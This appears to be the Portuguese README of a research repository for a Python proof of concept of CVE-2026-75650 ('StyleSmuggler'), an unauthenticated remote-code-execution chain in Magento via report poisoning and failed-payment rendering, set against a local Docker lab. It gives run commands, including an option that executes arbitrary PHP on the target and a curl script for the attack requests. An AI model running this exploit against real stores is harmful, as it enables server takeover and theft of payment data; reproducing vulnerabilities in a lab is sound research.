
PoC em Python que reproduz o CVE-2026-75650 StyleSmuggler, um RCE não autenticado no Magento através de envenenamento de relatórios e renderização de pagamentos falhados, com verificação por canário.
Repositório de pesquisa privado para a reprodução apenas via HTTP do StyleSmuggler, CVE-2026-75650, contra um laboratório local do Magento Open Source.
Leia o passo a passo técnico completo em Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
O PoC em Python executa a sequência completa não autenticada:
type, text e styles na
query string;Ele nunca copia um helper para o contêiner nem invoca o scanner através do Docker. A biblioteca padrão do Python é suficiente.
python3 exploit.py --target http://localhost:18082
A saída final deve conter e o mesmo marcador novo impresso anteriormente naquela execução. Um canary existente não pode satisfazer a verificação porque cada execução gera um novo marcador.
RCE VERIFIEDSTYLESMUGGLER_RUN_...O caminho do relatório deve ser o caminho visto pelo processo PHP de destino. Substitua-o quando o Magento usar outro document root:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Passe instruções PHP sem <?php ou ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
O PoC grava seu marcador de verificação novo antes de executar o fragmento fornecido e ainda verifica esse marcador depois.
Todas as requisições, incluindo o envenenamento do relatório e a busca final do canary, podem ser enviadas através de um proxy HTTP:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Adicione --proxy-insecure para um destino HTTPS cujo certificado interceptado não é
confiável pelo Python.
curl_failed_payment.sh executa as quatro requisições do Estágio 2 e rotula o
componente do Magento alcançado por cada requisição. Ele requer curl, jq e
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Defina outro destino ou listener do Burp através de variáveis de ambiente:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml fornece serviços isolados de MySQL, OpenSearch e PHP/Apache
em 127.0.0.1:18082. Ele espera uma árvore de código-fonte do Magento instalada em
./magento2-src.
A validação final limpa usou o commit do Magento:
f8405be831efa461ec18cc5a637cd98afa767015
Clone o código-fonte e instale suas dependências do Composer antes de executar o
processo normal setup:install do Magento:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Depois que o Magento estiver instalado com host de banco de dados db, host do OpenSearch
opensearch e URL base http://localhost:18082/, inicie o serviço web:
docker compose up -d web
docker compose ps